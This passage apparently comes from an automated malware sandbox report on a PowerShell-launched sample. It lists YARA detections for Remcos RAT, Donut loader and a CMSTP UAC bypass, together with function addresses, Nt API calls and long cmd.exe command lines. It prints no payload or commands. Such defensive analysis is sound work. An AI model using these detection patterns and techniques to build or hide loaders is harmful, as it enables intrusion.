                        Source: 00000014.00000002.2489638672.000000000888C000.00000002.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 0000001F.00000002.2750695146.0000000005A60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 00000014.00000002.2490016564.000000000A051000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 00000024.00000002.2996548604.000000000893C000.00000002.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 0000000B.00000002.2350208947.0000000009ADF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 0000000B.00000002.2349076560.0000000008DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 00000042.00000002.4928229851.000000000912C000.00000002.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 00000047.00000002.4620275632.0000000005B9D000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 00000029.00000002.3167840434.000000000915C000.00000002.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 0000001A.00000002.2617198211.0000000005FE1000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 00000033.00000002.3478725780.00000000059D4000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 00000033.00000002.3466563546.00000000058F4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 00000042.00000002.4297961642.000000000626D000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 00000042.00000002.4262582237.000000000617D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 0000000B.00000002.2349927057.0000000008E98000.00000002.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 00000038.00000002.4114322266.0000000008BBC000.00000002.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 0000002E.00000002.3374030025.0000000008F3C000.00000002.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 00000024.00000002.2907563151.00000000058FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 00000033.00000002.3664827412.000000000877C000.00000002.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 0000004C.00000002.4790906706.00000000063AC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 0000001F.00000002.2753711759.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 00000014.00000002.2457946606.00000000059C1000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 00000024.00000002.2911085903.000000000599B000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 0000003D.00000002.3923602792.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 00000047.00000002.4582964542.0000000005AFD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 0000000B.00000002.2334356106.000000000682E000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 00000014.00000002.2456518296.0000000005921000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 0000001F.00000002.2813278189.000000000A1F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 0000001A.00000002.2674769480.0000000008E2C000.00000002.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 0000000B.00000002.2319461302.0000000006424000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: Process Memory Space: powershell.exe PID: 6092, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: Process Memory Space: powershell.exe PID: 6092, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                        Source: Process Memory Space: powershell.exe PID: 7524, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: Process Memory Space: powershell.exe PID: 7524, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                        Source: Process Memory Space: powershell.exe PID: 7848, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: Process Memory Space: powershell.exe PID: 7848, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                        Source: Process Memory Space: powershell.exe PID: 8120, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: Process Memory Space: powershell.exe PID: 8120, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                        Source: Process Memory Space: powershell.exe PID: 364, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: Process Memory Space: powershell.exe PID: 364, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                        Source: Process Memory Space: powershell.exe PID: 7468, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: Process Memory Space: powershell.exe PID: 7468, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                        Source: Process Memory Space: powershell.exe PID: 1588, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: Process Memory Space: powershell.exe PID: 1588, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                        Source: Process Memory Space: powershell.exe PID: 8008, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: Process Memory Space: powershell.exe PID: 8008, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                        Source: Process Memory Space: powershell.exe PID: 3432, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: Process Memory Space: powershell.exe PID: 3432, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                        Source: Process Memory Space: powershell.exe PID: 6532, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: Process Memory Space: powershell.exe PID: 6532, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                        Source: Process Memory Space: powershell.exe PID: 3852, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: Process Memory Space: powershell.exe PID: 3852, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                        Source: Process Memory Space: powershell.exe PID: 6504, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_068A99D8 NtCreateSection,NtMapViewOfSection,NtUnmapViewOfSection,NtMapViewOfSection,11_2_068A99D8
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,12_2_0040DD85
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_00401806 NtdllDefWindowProc_W,12_2_00401806
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_004018C0 NtdllDefWindowProc_W,12_2_004018C0
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_004016FD NtdllDefWindowProc_A,13_2_004016FD
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_004017B7 NtdllDefWindowProc_A,13_2_004017B7
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_00402CAC NtdllDefWindowProc_A,14_2_00402CAC
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_00402D66 NtdllDefWindowProc_A,14_2_00402D66
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_068A99D811_2_068A99D8
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0044B04012_2_0044B040
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0043610D12_2_0043610D
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0044731012_2_00447310
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0044A49012_2_0044A490
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0040755A12_2_0040755A
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0043C56012_2_0043C560
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0044B61012_2_0044B610
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0044D6C012_2_0044D6C0
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_004476F012_2_004476F0
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0044B87012_2_0044B870
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0044081D12_2_0044081D
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0041495712_2_00414957
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_004079EE12_2_004079EE
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_00407AEB12_2_00407AEB
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0044AA8012_2_0044AA80
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_00412AA912_2_00412AA9
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_00404B7412_2_00404B74
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_00404B0312_2_00404B03
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0044BBD812_2_0044BBD8
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_00404BE512_2_00404BE5
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_00404C7612_2_00404C76
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_00415CFE12_2_00415CFE
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_00416D7212_2_00416D72
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_00446D3012_2_00446D30
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_00446D8B12_2_00446D8B
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_00406E8F12_2_00406E8F
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_0040503813_2_00405038
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_0041208C13_2_0041208C
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_004050A913_2_004050A9
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_0040511A13_2_0040511A
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_0043C13A13_2_0043C13A
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_004051AB13_2_004051AB
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_0044930013_2_00449300
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_0040D32213_2_0040D322
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_0044A4F013_2_0044A4F0
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_0043A5AB13_2_0043A5AB
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_0041363113_2_00413631
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_0044669013_2_00446690
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_0044A73013_2_0044A730
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_004398D813_2_004398D8
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_004498E013_2_004498E0
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_0044A88613_2_0044A886
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_0043DA0913_2_0043DA09
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_00438D5E13_2_00438D5E
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_00449ED013_2_00449ED0
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_0041FE8313_2_0041FE83
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_00430F5413_2_00430F54
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_004050C214_2_004050C2
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_004014AB14_2_004014AB
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_0040513314_2_00405133
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_004051A414_2_004051A4
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_0040124614_2_00401246
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_0040CA4614_2_0040CA46
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_0040523514_2_00405235
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_004032C814_2_004032C8
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_0040168914_2_00401689
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_00402F6014_2_00402F60
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: String function: 004169A7 appears 87 times
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: String function: 0044DB70 appears 41 times
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: String function: 004165FF appears 35 times
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: String function: 00422297 appears 42 times
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: String function: 00444B5A appears 37 times
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: String function: 00413025 appears 79 times
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: String function: 00416760 appears 69 times
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257Jump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257Jump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257Jump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257Jump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 4257
                        Source: 11.2.powershell.exe.8dc1288.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: 11.2.powershell.exe.8dc1288.3.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                        Source: 11.2.powershell.exe.8dc1288.3.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                        Source: 11.2.powershell.exe.8dc1288.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: 11.2.powershell.exe.8dc1288.3.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                        Source: 11.2.powershell.exe.8dc1288.3.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                        Source: 0000001F.00000002.2812710908.0000000008A2C000.00000002.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: 0000004C.00000002.4826933353.000000000644C000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 00000038.00000002.3735508842.0000000005D5C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 00000029.00000002.3068252959.00000000061CC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 00000024.00000002.2997747223.000000000B101000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 00000029.00000002.3072919020.000000000626C000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 0000003D.00000002.4489261708.0000000008C0C000.00000002.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                        Source: 0000003D.00000002.3950494709.0000000005D2C000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 00000038.00000002.3750436266.0000000005DFC000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 0000001A.00000002.2612694971.0000000005F41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 0000002E.00000002.3250950909.000000000596C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 0000002E.00000002.3257321014.0000000005A0C000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
                        Source: 00000014.00000002.2489638672.000000000888C000.00000002.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
